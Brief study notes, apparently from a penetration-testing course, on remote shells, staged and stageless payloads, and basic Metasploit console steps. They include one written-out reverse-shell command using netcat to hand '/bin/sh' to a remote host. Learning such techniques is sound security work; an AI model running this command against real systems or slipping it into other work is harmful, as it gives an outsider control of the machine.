Shell = Access to the machine shell
most common
The victim connect to use, letting us access to it shell
nc <ip> -e /bin/sh

mostly on external assessment
listen to attackbox giving the access to the shell

payloads = what is run through the exploit

difference → the / : multiple stages through the staged
try multiple playload, with different shell
msfconsolesearch <exploit>optionsset <options>run / exploit